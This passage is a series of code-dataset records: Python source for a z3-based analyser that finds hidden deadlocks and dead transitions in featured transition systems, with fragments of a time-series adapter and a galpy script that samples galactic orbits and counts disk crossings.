np.isin(received_ids, np.array(queried_ids)).all():\n            msg = (\n                f\"Found timeseries ids in received data that were not queried.\"\n                f\" Received timeseriesId unique values were:\\n{str(received_ids.tolist())}\"\n                f\" \\nQueried ids were:\\n{str(queried_ids)}.\"\n                \"\\nThis unassignable data will be discarded. This indicates an error in the adapter\"\n                f\" implementation of the adapter {str(adapter_key)}!\"\n            )\n            logger.warning(msg)\n\n    return loaded_data\n", "repo_name": "hetida/hetida-designer", "sub_path": "runtime/hetdesrun/adapters/generic_rest/load_ts_data.py", "file_name": "load_ts_data.py", "file_ext": "py", "file_size_in_byte": 5893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 45, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 17, "usage_type": "call"}, {"api_name": "hetdesrun.models.data_selection.FilteredSource", "line_number": 21, "usage_type": "name"}, {"api_name": "collections.abc.Iterable", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 22, "usage_type": "name"}, {"api_name": "hetdesrun.adapters.generic_rest.load_framelike.load_framelike_data", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 54, "usage_type": "attribute"}, {"api_name": "hetdesrun.adapters.exceptions.AdapterHandlingException", "line_number": 72, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 55, "usage_type": "attribute"}, {"api_name": "hetdesrun.models.data_selection.FilteredSource", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 96, "usage_type": "name"}, {"api_name": "hetdesrun.adapters.generic_rest.external_types.ExternalType", "line_number": 96, "usage_type": "name"}, {"api_name": "hetdesrun.models.data_selection.FilteredSource", "line_number": 97, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 98, "usage_type": "call"}, {"api_name": "hetdesrun.adapters.exceptions.AdapterClientWiringInvalidError", "line_number": 104, "usage_type": "call"}, {"api_name": "hetdesrun.adapters.generic_rest.external_types.ExternalType", "line_number": 114, "usage_type": "call"}, {"api_name": "hetdesrun.adapters.exceptions.AdapterHandlingException", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 81, "usage_type": "attribute"}]}
{"seq_id": "1954028941", "text": "#!/usr/bin/python\n\n__author__     = \"Michael Lienhardt\"\n__copyright__  = \"Copyright 2019-2020, Michael Lienhardt\"\n__license__    = \"GPL3\"\n__version__    = \"1\"\n__maintainer__ = \"Michael Lienhardt\"\n__email__      = \"michael.lienhardt@onera.fr\"\n__status__     = \"Prototype\"\n\n\n# Graph loading and generation\nimport random\nimport sys\nimport argparse\nimport sys\n\n# Parsing\nimport pydot\nimport lrparsing\n\n# Solving\nimport z3\n\n#\n# CONSTRAINT SYNTAX AND TRANSLATION IN Z3\n#\n\nKW_AND = 'and'\nKW_NOT = 'not'\nKW_XOR = 'xor'\nKW_OR  = 'or'\nKW_IMPLIES = '=>'\nKW_IFF = '<=>'\nKW_TRUE = 'True'\nKW_FALSE = 'False'\n\nclass T(lrparsing.TokenRegistry):\n  AND     = lrparsing.Keyword(KW_AND)\n  NOT     = lrparsing.Keyword(KW_NOT)\n  XOR     = lrparsing.Keyword(KW_XOR)\n  OR      = lrparsing.Keyword(KW_OR)\n  IMPLIES = lrparsing.Token(KW_IMPLIES)\n  IFF     = lrparsing.Token(KW_IFF)\n  TRUE    = lrparsing.Keyword(KW_TRUE)\n  FALSE   = lrparsing.Keyword(KW_FALSE)\n  # special symbols\n  LPAREN     = lrparsing.Token('(')\n  RPAREN     = lrparsing.Token(')')\n\nclass C(lrparsing.Grammar):\n  c_base = lrparsing.Token(re=r'[0-9a-zA-Z_]+') | (T.LPAREN + lrparsing.Ref('c_iff') + T.RPAREN)\n  c_not = T.NOT*(0,1) + c_base\n  c_and = c_not + (T.AND + c_not)*()\n  c_xor = c_and + (T.XOR + c_and)*()\n  c_or = c_xor + (T.OR + c_xor)*()\n  c_implies = c_or | (c_or + T.IMPLIES + c_or)\n  c_iff = c_implies | (c_implies + T.IFF + c_implies)\n  START = c_iff\n\nlrparsing.compile_grammar(C)\n\nclass c_translator(object):\n  __slots__ = '_features'\n  def __init__(self):\n    self._features = {}\n\n  def c_translate_base(self, parse_tree):\n    #print(\"        c_base: {}\".format(parse_tree))\n    if(parse_tree[1][1] == '('): return self.c_translate_iff(parse_tree[2])\n    elif(parse_tree[1][1] == KW_TRUE): return True\n    elif(parse_tree[1][1] == KW_FALSE): return False\n    else:\n      name = parse_tree[1][1]\n      res = self._features.get(name)\n      if(res is None):\n        res = z3.Bool(name)\n        self._features[name] = res\n      return res\n  def c_translate_not(self, parse_tree):\n    if(parse_tree[1][1] != KW_NOT): res = self.c_translate_base(parse_tree[1])\n    else: res = z3.Not(self.c_translate_base(parse_tree[2]))\n    #print(\"     c_not: {}\".format(spc_debug(res)))\n    return res\n  def c_translate_and(self, parse_tree):\n    subs = tuple(self.c_translate_not(el) for el in parse_tree if((len(el) > 0) and (el[0].name == \"c_not\")))\n    #print(\"    c_and: {}\".format([spc_debug(el) for el in subs]))\n    if(len(subs) == 1): return subs[0]\n    else: return z3.And(*subs)\n  def c_translate_xor(self, parse_tree):\n    subs = tuple(self.c_translate_and(el) for el in parse_tree if((len(el) > 0) and (el[0].name == \"c_and\")))\n    #print(\"   c_xor: {}\".format([spc_debug(el) for el in subs]))\n    if(len(subs) == 1): return subs[0]\n    else: return z3.Xor(*subs)\n  def c_translate_or(self, parse_tree):\n    subs = tuple(self.c_translate_xor(el) for el in parse_tree if((len(el) > 0) and (el[0].name == \"c_xor\")))\n    #print(\"  c_or: {}\".format([spc_debug(el) for el in subs]))\n    if(len(subs) == 1): return subs[0]\n    else: return z3.Or(*subs)\n  def c_translate_implies(self, parse_tree):\n    subs = tuple(self.c_translate_or(el) for el in parse_tree if((len(el) > 0) and (el[0].name == \"c_or\")))\n    #print(\" c_implies: {}\".format([spc_debug(el) for el in subs]))\n    if(len(subs) == 1): return subs[0]\n    else: return z3.Implies(subs[0], subs[1])\n  def c_translate_iff(self, parse_tree):\n    subs = tuple(self.c_translate_implies(el) for el in parse_tree if((len(el) > 0) and (el[0].name == \"c_implies\")))\n    #print(\"c_iff: {}\".format([spc_debug(el) for el in subs]))\n    if(len(subs) == 1): return subs[0]\n    else: return subs[0] == subs[1]\n\n  def c_translate(self, s): return self.c_translate_iff(C.parse(s)[1])\n\n\n\n#\n# CORE IMPLEMENTATION OF FTS\n#\n\nz3_id = 0\ndef fresh_var():\n  global z3_id\n  res = z3_id\n  z3_id = z3_id + 1\n  return z3.Bool(str(res))\n\n\nclass State(object):\n  \"\"\"Simple implementation of a state class\"\"\"\n  __slots__ = '_id', '_in', '_out', '_z3_var', '_is_hidden_deadlock'\n  def __init__(self, id):\n    self._id = id\n    self._in = set()\n    self._out = set()\n    self._z3_var = fresh_var()\n    self._is_hidden_deadlock = None\n  def __str__(self): return str(self._id)\n\n\nclass Transition(object):\n  \"\"\"Generic edge class specification\"\"\"\n  __slots__ = '_in', '_out', '_label', '_constraint', '_z3_var', '_is_dead', '_is_false_optional'\n  def __init__(self, _in, _out, label, constraint):\n    self._in = _in\n    self._out = _out\n    self._label = label\n    self._constraint = constraint\n    self._z3_var = fresh_var()\n    self._is_dead = None\n    self._is_false_optional = None\n  def __str__(self): return f\"({str(self._in)}, {str(self._out)}, {self._label})\"\n\n\nclass FTS(c_translator):\n  __slots__ = '_name', '_fm', '_states', '_transitions', '_initial', '_set_hidden_deadlock', '_set_dead', '_set_false_optional'\n\n  def __init__(self, name, fm):\n    super().__init__()\n    self._name = name\n    self._fm = self.c_translate(fm[1:-1] if(fm is not None) else KW_TRUE)                # the feature model of the FTS\n    self._states = {}\n    self._transitions = []\n    self._initial = None         # the initial state of the FTS\n    self._set_hidden_deadlock = None # the list of hidden deadlocks in the FTS\n    self._set_dead = None # the list of dead transitions in the FTS\n    self._set_false_optional = None\n\n  def state(self, id):\n    \"\"\"this method adds the state $id to the FTS\"\"\"\n    res = self._states.get(id)\n    if(res is None):\n      res = State(id)\n      self._states[id] = res\n    return res\n\n  def transition(self, _in, _out, label, constraint):\n    \"\"\"this method adds the transition between the states $_in and $_out, with the label $label and the constraint $constraint to the FTS\"\"\"\n    _in = self.state(_in)\n    _out = self.state(_out)\n    transition = Transition(_in, _out, label, self.c_translate(constraint))\n    _in._out.add(transition)\n    _out._in.add(transition)\n    self._transitions.append(transition)\n\n  # this method sets the initial state of the FTS\n  def initial_state(self, id): \n    self._initial = self.state(id)\n    return self._initial\n\n  def report(self):\n    print(f\"{self._name}: {'not live' if self._set_hidden_deadlock else 'live'}\")\n    print(f\"  HIDDEN DEADLOCKS = {tuple(str(n) for n in self._set_hidden_deadlock)}\")\n    if(self._set_false_optional is None):\n      print(\"  FALSE OPTIONAL   = NOT ANALYSED\")\n    else: print(f\"  FALSE OPTIONAL   = {tuple(str(e) for e in self._set_false_optional)}\")\n    if(self._set_dead is None):\n      print(\"  DEAD TRANSITIONS = NOT ANALYSED\")\n    else: print(f\"  DEAD TRANSITIONS = {tuple(str(e) for e in self._set_dead)}\")\n\n\n#\n# FTS LOADING AND TRANSLATION\n#\n\ndef load_dot(f):\n  g = pydot.graph_from_dot_data(f.read())[0]\n  \n  if(g.get_type() != \"digraph\"):\n    print(\"ERROR: the input graph is not a digraph (it is a {} instead)\".format(g.get_type()))\n    return\n\n  g_attributes = g.get_attributes()\n  fm = g_attributes.get('FM')\n  name = g_attributes.get('name')\n  name = name[1:-1] if(name is not None) else file_name\n\n  res = FTS(name, fm)\n  for node in g.get_nodes():\n    node_name = node.get_name()\n    if(node_name not in ('node', 'FeatureModel')):\n      res.state(node_name)\n      if(node.get_attributes().get('initial', False)): res.initial_state(node_name)\n\n  for edge in g.get_edges():\n    entry = edge.get_source()\n    exit = edge.get_destination()\n    label, constraint = edge.get_attributes().get('label', \"|True\")[1:-1].split('|')\n    #print(action, formula)\n    res.transition(entry, exit, label, constraint)\n\n  return res\n\n\n###############################################################################\n# SAT ANALYSIS\n###############################################################################\n\n\ndef one_exit(n):\n  out = n._out\n  if(len(out) > 1):\n    return tuple(z3.Implies(e1._z3_var, z3.Not(z3.Or(*tuple(e2._z3_var for e2 in out if e2 is not e1)))) for e1 in out)\n  else: return ()\n\ndef no_exit(n):\n  return tuple(z3.Not(e._z3_var) for e in n._out)\n\ndef z3_translator(fts):\n    # z3_states = the constraint when each node is accessible, or within a loop\n    z3_states = (fts._initial._z3_var,) #(fts._initial._z3_var == True,)\n    z3_states = z3_states + tuple(z3.Implies(n._z3_var, z3.Or(*tuple(z3.And(e._z3_var, e._constraint, e._in._z3_var) for e in n._in))) for n in fts._states.values() if n != fts._initial)\n    # forbid loops\n    no_loop_partial = []\n    for n in fts._states.values(): no_loop_partial.extend(one_exit(n))\n    return (fts._fm, *z3_states, *no_loop_partial)\n\n\ndef z3_analyse_full(fts):\n  print(\"setting up solver ...\", flush=True)\n  solver = z3.Solver()\n  constraint_list = z3_translator(fts)\n  solver.add(*constraint_list)\n  print(\" ... done\", flush=True)\n\n  for i,n in enumerate(fts._states.values()):\n    print(f\"managing node {str(i)}: {str(n)} ...\")\n    if(n._out):\n      constraint_annex = (n._z3_var, *no_exit(n)) + tuple(z3.Not(e._constraint) for e in n._out)\n      n._is_hidden_deadlock = (solver.check(*constraint_annex,) == z3.sat)\n    else: n._is_hidden_deadlock = False\n\n  for i,t in enumerate(fts._transitions):\n    print(f\"managing transition {str(i)}: {str(t)} ...\")\n    t_in_useful = (t._in._z3_var, *no_exit(t._in))\n    #n._is_hidden_deadlock = (solver.check(*constraint_annex, *tuple(z3.Not(e._constraint) for e in n._out)) == z3.sat)\n    if(t._constraint is True):\n      t._is_dead = not (solver.check(*t_in_useful) == z3.sat)\n      t._is_false_optional = False\n    elif(t._constraint is False):\n      t._is_dead = True\n      t._is_false_optional = False\n    else:\n      t._is_dead = not (solver.check(*t_in_useful, t._constraint) == z3.sat)\n      if(t._is_dead): t._is_false_optional = False\n      else: t._is_false_optional = not (solver.check(*t_in_useful, z3.Not(t._constraint)) == z3.sat)\n\n  # Collect all information\n  fts._set_hidden_deadlock = tuple( n for n in fts._states.values() if n._is_hidden_deadlock )\n  fts._set_false_optional = tuple( e for e in fts._transitions if e._is_false_optional )\n  fts._set_dead = tuple( e for e in fts._transitions if e._is_dead )\n\n\ndef z3_analyse_hdead(fts):\n  print(\"setting up solver ...\", flush=True)\n  solver = z3.Solver()\n  constraint_list = z3_translator(fts)\n  solver.add(*constraint_list)\n  print(\" ... done\", flush=True)\n\n  for i,n in enumerate(fts._states.values()):\n    print(f\"managing node {str(i)}: {str(n)} ...\")\n    if(n._out):\n      constraint_annex = (n._z3_var, *no_exit(n)) + tuple(z3.Not(e._constraint) for e in n._out)\n      n._is_hidden_deadlock = (solver.check(*constraint_annex,) == z3.sat)\n    else: n._is_hidden_deadlock = False\n\n  # Collect all information\n  fts._set_hidden_deadlock = tuple( n for n in fts._states.values() if n._is_hidden_deadlock )\n\n\ndef z3_analyse_quick(fts):\n  print(\"setting up solver ...\", flush=True)\n  solver = z3.Solver()\n  constraint_list = z3_translator(fts)\n  solver.add(*constraint_list)\n  print(\" ... done\", flush=True)\n\n  for i,n in enumerate(fts._states.values()):\n    print(f\"managing node {str(i)}: {str(n)} ...\")\n    if(n._out):\n      constraint_exit = tuple(z3.Not(e._constraint) for e in n._out)\n      if(solver.check(*constraint_exit) != z3.sat):\n        n._is_hidden_deadlock = False\n      else:\n        constraint_annex = (n._z3_var, *no_exit(n)) + constraint_exit\n        n._is_hidden_deadlock = (solver.check(*constraint_annex) == z3.sat)\n    else: n._is_hidden_deadlock = False\n\n  # Collect all information\n  fts._set_hidden_deadlock = tuple( n for n in fts._states.values() if n._is_hidden_deadlock )\n\n\n\ndef z3_analyse_alt(fts):\n  print(\"setting up solver ...\", flush=True)\n  solver = z3.Solver()\n  constraint_list = z3_translator(fts)\n  solver.add(*constraint_list)\n  print(\" ... done\", flush=True)\n\n  #solver_optim = z3.Solver(ctx=z3.Context())\n  #solver_optim.add(fts._fm)\n  #print(tuple(f\"node {str(n)} => {n._z3_var}\" for n in fts._states.values()) + tuple(f\"edge {str(e)} => {e._z3_var}\" for e in fts._transitions))\n  #print(constraint_list)\n  #exit()\n  #print(solver)\n  for i,n in enumerate(fts._states.values()):\n    print(f\"managing node {str(i)}: {str(n)} ...\")\n    if(n._out):\n      constraint_annex = (n._z3_var, *no_exit(n))\n      n._is_hidden_deadlock = (solver.check(*tuple(z3.Not(e._constraint) for e in n._out)) == z3.sat)\n      if(n._is_hidden_deadlock):\n        n._is_hidden_deadlock = (solver.check(*constraint_annex, *tuple(z3.Not(e._constraint) for e in n._out)) == z3.sat)\n      #n._is_hidden_deadlock = (solver.check(*constraint_annex, *tuple(z3.Not(e._constraint) for e in n._out)) == z3.sat)\n      for e in n._out:\n        if(e._constraint is True):\n          e._is_dead = not (solver.check(*constraint_annex) == z3.sat)\n          e._is_false_optional = False\n        else:\n          e._is_dead = not (solver.check(*constraint_annex, e._constraint) == z3.sat)\n          if(e._is_dead): e._is_false_optional = False\n          else: e._is_false_optional = not (solver.check(*constraint_annex, z3.Not(e._constraint)) == z3.sat)\n      #solver.pop()\n    else: n._is_hidden_deadlock = False\n    print(f\" ... done: hidden={n._is_hidden_deadlock}\")\n    for e in n._out:\n      print(f\"     edge {e}: false_opt={e._is_false_optional}, dead={e._is_dead}\", flush=True)\n\n  # Collect all information\n  fts._set_hidden_deadlock = tuple( n for n in fts._states.values() if n._is_hidden_deadlock )\n  fts._set_false_optional = tuple( e for e in fts._transitions if e._is_false_optional )\n  fts._set_dead = tuple( e for e in fts._transitions if e._is_dead )\n\n\n\n\n\n\n###############################################################################\n# ADDITIONAL ANALYSIS FOR TESTING\n###############################################################################\n\ndef check_always_accessible(graph, state_name):\n  n_focus = graph._states[state_name]\n\n  constraint_core = (n_focus._z3_var, *z3_translator(graph), *no_exit(n_focus)) # vincolo per un path verso s3\n  to_hide = tuple(e._z3_var for e in graph._transitions) + tuple(n._z3_var for n in graph._states.values() if state_name != n_focus) # nascondo tutte le transizione e i stati diversi da s3\n  solver = z3.Solver()\n  solver.add(z3.Not( z3.Exists(to_hide, z3.And(*constraint_core)) )) # check se tautologia\n\n  if(solver.check() == z3.sat):\n    print(f\"There exists a configuration in which {state_name} is not accessible:\")\n    model = solver.model()\n    print(f\"  {[ f'{f} => {model.eval(v)}' for f,v in graph._features.items()]}\")\n  else: print(\"OK\")  # è una tautologia\n\n\ndef clean_path(graph, path, end):\n  n = graph._initial\n  res = []\n  while(n != end):\n    for e in n._out:\n      if(e in path):\n        res.append(e)\n        n = e._out\n        break\n  return res\n\ndef compute_paths(graph, state_name):\n  n_focus = graph._states[state_name]\n\n  constraint_core = (n_focus._z3_var, *z3_translator(graph), *no_exit(n_focus))\n  solver = z3.Solver()\n  solver.add(constraint_core)\n  while(solver.check() == z3.sat):\n    model = solver.model()\n    solution = {e for e in graph._transitions if z3.is_true(model.eval(e._z3_var))}\n    solution = clean_path(graph, solution, n_focus)\n    product = {f for f,v in graph._features.items() if z3.is_true(model.eval(v))} # this is just a possible product for this path, not all of them\n    print(f\"found path [product={product}]: { [str(e) for e in solution] }\")\n    solver.add(z3.Not(z3.And(*tuple(e._z3_var for e in solution)))) # next, search another path\n\n\n#\n# RANDOM ACYCLIC FTS GENERATION\n#\n\ndef random_fts(nb_node, percent_edge):\n  nb_rank = random.randint(0, nb_node - 1)\n  nodes = { i: random.randint(0,nb_rank) for i in range(nb_node) }\n  full_edges = { i: [j for j in range(nb_node) if nodes[i] < nodes[j]] for i in range(nb_node) }\n  edges = { i: (random.choices(full_edges[i], k=((len(full_edges[i])*percent_edge)//100)) if(full_edges[i]) else []) for i in range(nb_node)}\n\n  res = FTS(\"random\", \"True\")\n  for i, ns in edges.items():\n    for j in ns:\n      res.transition(f\"S{i}\", f\"S{j}\", \"no_action\", \"True\")\n  res.initial_state(\"S0\")\n  return res\n\n\n\n###############################################################################\n# MAIN PROGRAM\n###############################################################################\n\n\ndef set_default_subparser(parser, name):\n  commands = { cmd for x in parser._subparsers._actions if(isinstance(x, argparse._SubParsersAction)) for cmd in x._name_parser_map.keys() }\n  commands.update(('-h', '--help'))\n  if(len(sys.argv) > 1):\n    option = sys.argv[1]\n    if(option in commands): return\n  sys.argv.insert(1, name)\n\nself_program_name = None\ndef main_manage_cmd_options():\n  parser = argparse.ArgumentParser()\n  subparsers = parser.add_subparsers()\n\n  main_parser = subparsers.add_parser('main', add_help=False)\n  main_parser.set_defaults(cmd='main')\n  main_parser.add_argument('-g', '--generate', nargs=2, default=None)\n  analysis_option = main_parser.add_mutually_exclusive_group()\n  main_parser.add_argument('file', nargs='?', default=None)\n  analysis_option.add_argument('--full', action=\"store_true\")\n  analysis_option.add_argument('--hdead', action=\"store_true\")\n  analysis_option.add_argument('--quick', action=\"store_true\")\n  analysis_option.add_argument('--alt', action=\"store_true\")\n\n  acc_parser = subparsers.add_parser('acc', add_help=False)\n  acc_parser.set_defaults(cmd='acc')\n  acc_parser.add_argument('state')\n  acc_parser.add_argument('file', nargs='?', default=None)\n\n  path_parser = subparsers.add_parser('path', add_help=False)\n  path_parser.set_defaults(cmd='path')\n  path_parser.add_argument('state')\n  path_parser.add_argument('file', nargs='?', default=None)\n\n  set_default_subparser(parser, 'main')\n  #\n  global self_program_name\n  self_program_name = parser.prog\n\n  args = parser.parse_args()\n\n  if(args.cmd == \"main\"):\n    if((args.generate is not None) and (args.file is not None)):\n      print(\"ERROR: options -g and -f are incompatible\")\n      exit(-1)\n    elif(args.generate is not None):\n      fts = random_fts(int(args.generate[0]), int(args.generate[1]))\n    elif(args.file is not None):\n      fts = None\n      with open(args.file, 'r') as f:\n        fts = load_dot(f)\n    else: fts = load_dot(sys.stdin)\n    func_analyse = z3_analyse_full\n    if args.hdead: func_analyse = z3_analyse_hdead\n    elif args.quick: func_analyse = z3_analyse_quick\n    elif args.alt: func_analyse = z3_analyse_alt\n    func_display = lambda fts: fts.report()\n    return func_analyse, func_display, fts\n  elif(args.cmd == \"acc\"):\n    if(args.file is not None):\n      with open(args.file, 'r') as f:\n        fts = load_dot(f)\n    else: fts = load_dot(sys.stdin)\n    state = args.state\n    func_analyse = lambda fts: check_always_accessible(fts, state)\n    func_display = None\n    return func_analyse, func_display, fts\n  elif(args.cmd == \"path\"):\n    if(args.file is not None):\n      with open(args.file, 'r') as f:\n        fts = load_dot(f)\n    else: fts = load_dot(sys.stdin)\n    state = args.state\n    func_analyse = lambda fts: compute_paths(fts, state)\n    func_display = None\n    return func_analyse, func_display, fts\n\n\n#if(__name__ == \"__main__\"):\n#  fts_implem, nb_node, pct_edge = main_manage_cmd_options_random()\n#  fts = random_fts(fts_implem, nb_node, pct_edge)\n#  print(fts.dot(\"random FTS\"))\n\n\nif(__name__ == \"__main__\"):\n  func_analyse, func_display, fts = main_manage_cmd_options()\n  #fts_debug(name, fts)\n  func_analyse(fts)\n  if(func_display): func_display(fts)\n\n\n\n", "repo_name": "fts4vmc/FTS4VMC", "sub_path": "src/internals/analyser.py", "file_name": "analyser.py", "file_ext": "py", "file_size_in_byte": 19403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "lrparsing.TokenRegistry", "line_number": 38, "usage_type": "attribute"}, {"api_name": "lrparsing.Keyword", "line_number": 39, "usage_type": "call"}, {"api_name": "lrparsing.Keyword", "line_number": 40, "usage_type": "call"}, {"api_name": "lrparsing.Keyword", "line_number": 41, "usage_type": "call"}, {"api_name": "lrparsing.Keyword", "line_number": 42, "usage_type": "call"}, {"api_name": "lrparsing.Token", "line_number": 43, "usage_type": "call"}, {"api_name": "lrparsing.Token", "line_number": 44, "usage_type": "call"}, {"api_name": "lrparsing.Keyword", "line_number": 45, "usage_type": "call"}, {"api_name": "lrparsing.Keyword", "line_number": 46, "usage_type": "call"}, {"api_name": "lrparsing.Token", "line_number": 48, "usage_type": "call"}, {"api_name": "lrparsing.Token", "line_number": 49, "usage_type": "call"}, {"api_name": "lrparsing.Grammar", "line_number": 51, "usage_type": "attribute"}, {"api_name": "lrparsing.Token", "line_number": 52, "usage_type": "call"}, {"api_name": "lrparsing.Ref", "line_number": 52, "usage_type": "call"}, {"api_name": "lrparsing.compile_grammar", "line_number": 61, "usage_type": "call"}, {"api_name": "z3.Bool", "line_number": 77, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 82, "usage_type": "call"}, {"api_name": "z3.And", "line_number": 89, "usage_type": "call"}, {"api_name": "z3.Xor", "line_number": 94, "usage_type": "call"}, {"api_name": "z3.Or", "line_number": 99, "usage_type": "call"}, {"api_name": "z3.Implies", "line_number": 104, "usage_type": "call"}, {"api_name": "z3.Bool", "line_number": 124, "usage_type": "call"}, {"api_name": "pydot.graph_from_dot_data", "line_number": 205, "usage_type": "call"}, {"api_name": "z3.Implies", "line_number": 241, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 241, "usage_type": "call"}, {"api_name": "z3.Or", "line_number": 241, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 245, "usage_type": "call"}, {"api_name": "z3.Implies", "line_number": 250, "usage_type": "call"}, {"api_name": "z3.Or", "line_number": 250, "usage_type": "call"}, {"api_name": "z3.And", "line_number": 250, "usage_type": "call"}, {"api_name": "z3.Solver", "line_number": 259, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 267, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 268, "usage_type": "attribute"}, {"api_name": "z3.sat", "line_number": 276, "usage_type": "attribute"}, {"api_name": "z3.sat", "line_number": 282, "usage_type": "attribute"}, {"api_name": "z3.Not", "line_number": 284, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 284, "usage_type": "attribute"}, {"api_name": "z3.Solver", "line_number": 294, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 302, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 303, "usage_type": "attribute"}, {"api_name": "z3.Solver", "line_number": 312, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 320, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 321, "usage_type": "attribute"}, {"api_name": "z3.sat", "line_number": 325, "usage_type": "attribute"}, {"api_name": "z3.Solver", "line_number": 335, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 350, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 350, "usage_type": "attribute"}, {"api_name": "z3.Not", "line_number": 352, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 352, "usage_type": "attribute"}, {"api_name": "z3.sat", "line_number": 356, "usage_type": "attribute"}, {"api_name": "z3.sat", "line_number": 359, "usage_type": "attribute"}, {"api_name": "z3.Not", "line_number": 361, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 361, "usage_type": "attribute"}, {"api_name": "z3.Solver", "line_number": 387, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 388, "usage_type": "call"}, {"api_name": "z3.Exists", "line_number": 388, "usage_type": "call"}, {"api_name": "z3.And", "line_number": 388, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 390, "usage_type": "attribute"}, {"api_name": "z3.Solver", "line_number": 412, "usage_type": "call"}, {"api_name": "z3.sat", "line_number": 414, "usage_type": "attribute"}, {"api_name": "z3.is_true", "line_number": 416, "usage_type": "call"}, {"api_name": "z3.is_true", "line_number": 418, "usage_type": "call"}, {"api_name": "z3.Not", "line_number": 420, "usage_type": "call"}, {"api_name": "z3.And", "line_number": 420, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 428, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 429, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 431, "usage_type": "call"}, {"api_name": "argparse._SubParsersAction", "line_number": 448, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 450, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 451, "usage_type": "attribute"}, {"api_name": "sys.argv.insert", "line_number": 453, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 453, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 457, "usage_type": "call"}, {"api_name": "sys.stdin", "line_number": 497, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 508, "usage_type": "attribute"}, {"api_name": "sys.stdin", "line_number": 517, "usage_type": "attribute"}]}
{"seq_id": "38184971623", "text": "import numpy as np\nfrom galpy import potential,df\nfrom galpy.orbit import Orbit\nfrom astropy import units as u\n\nkpc = u.kpc\nkms = u.km/u.s\ndeg = u.deg\nGyr = u.Gyr\n\ndef orbit_sampling(N_samples,rmin=0.0,rmax=200):\n    pot  = potential.NFWPotential(a=19.0*kpc)\n    distr_funct = df.isotropicNFWdf(pot=pot,ro=8.0*kpc,vo=220*kms,rmax=rmax*kpc)\n    samples = distr_funct.sample(n=N_samples,return_orbit=True,rmin=rmin*kpc)\n    return samples\n\ndef orbit_coordinates(samples,T_Gyr,nframes,ctype='Cartesian'):\n    N_samples = len(samples)\n    ts = np.linspace(0.0,T_Gyr*u.Gyr,nframes)\n    Coords = np.zeros(shape=(nframes,samples.dim(),N_samples))\n\n    for i in range(N_samples):\n        R   = samples[i].R()\n        z   = samples[i].z()\n        vR  = samples[i].vR()\n        vT  = samples[i].vT()\n        vz  = samples[i].vz()\n        phi = samples[i].phi()*180/np.pi\n        o = Orbit(vxvv=[R*kpc,vR*kms,vT*kms,z*kpc,vz*kms,phi*deg])\n        o.integrate(ts,potential.MWPotential2014)\n        if ctype == 'Cartesian':\n            Coords[:,:,i] = np.column_stack((o.x(ts),o.y(ts),o.z(ts)))\n        elif ctype == 'Cylindrical':\n            Coords[:,:,i] = np.column_stack((o.R(ts),o.phi(ts),o.z(ts)))\n        else:\n            print(\"Type not valid!\")\n    return Coords\n\n\ndef get_profile(nsamples,bins=500,rmin=0.0,rmax=200):\n    '''\n\n    Reproduces the density profile from the sampled miniclusters\n    \n    Use: r,rho = get_profile(nsamples)\n    \n    Input: \n        - nsamples: the sample array  \n\n    Output: \n       - r: radial coordinates in kpc\n       - rho: density profiles in a.u.\n    '''\n    N_samples = int(nsamples)\n    pot  = potential.NFWPotential(a=19.0*kpc)\n    distr_funct = df.isotropicNFWdf(pot=pot,ro=8.0*kpc,vo=220*kms,rmax=rmax*kpc)\n    samples = distr_funct.sample(n=N_samples,return_orbit=True,rmin=rmin*kpc)\n    R = samples.R()\n    dP,rb = np.histogram(np.log10(R),bins=bins,range=[0,np.log10(200)]) \n    rb = 10**rb\n    rc = (rb[0:-1]+rb[1:])/2\n    dr = rb[1:]-rb[0:-1]\n    rho = (1/(4*np.pi*rc**2))*(dP/dr)\n    rho = rho/rho[np.argmin(np.abs(rc-19.0))]\n    return rc, rho\n\n\ndef disk_encounters(orbits,maxrad=0):\n    '''\n    Computes the number of disk encounters (crossing z=0) for each orbit, discards encounters with radii larger \n    than maxrad\n    Input: \n        - Orbits coordinates from orbit_coordinates function with shape (nframes,3,nsamples)\n        - Maximum radius to consider the disk encounter in kpc\n    Output:\n        - List with number of encounters for each orbit, shape (nsamples)\n    '''\n    enc_li = []\n    for i in range(orbits.shape[-1]):\n        z_path = orbits[:,:,i][:,2]\n        R_path  = np.sqrt(z_path**2+(orbits[:,:,i][:,1])**2+(orbits[:,:,i][:,0])**2)\n        enc_array = np.abs(np.diff(np.sign(z_path)))\n        if maxrad > 0:\n            mask = np.argwhere(R_path <= maxrad)\n            enc_array = enc_array[mask-1] # minus 1\n        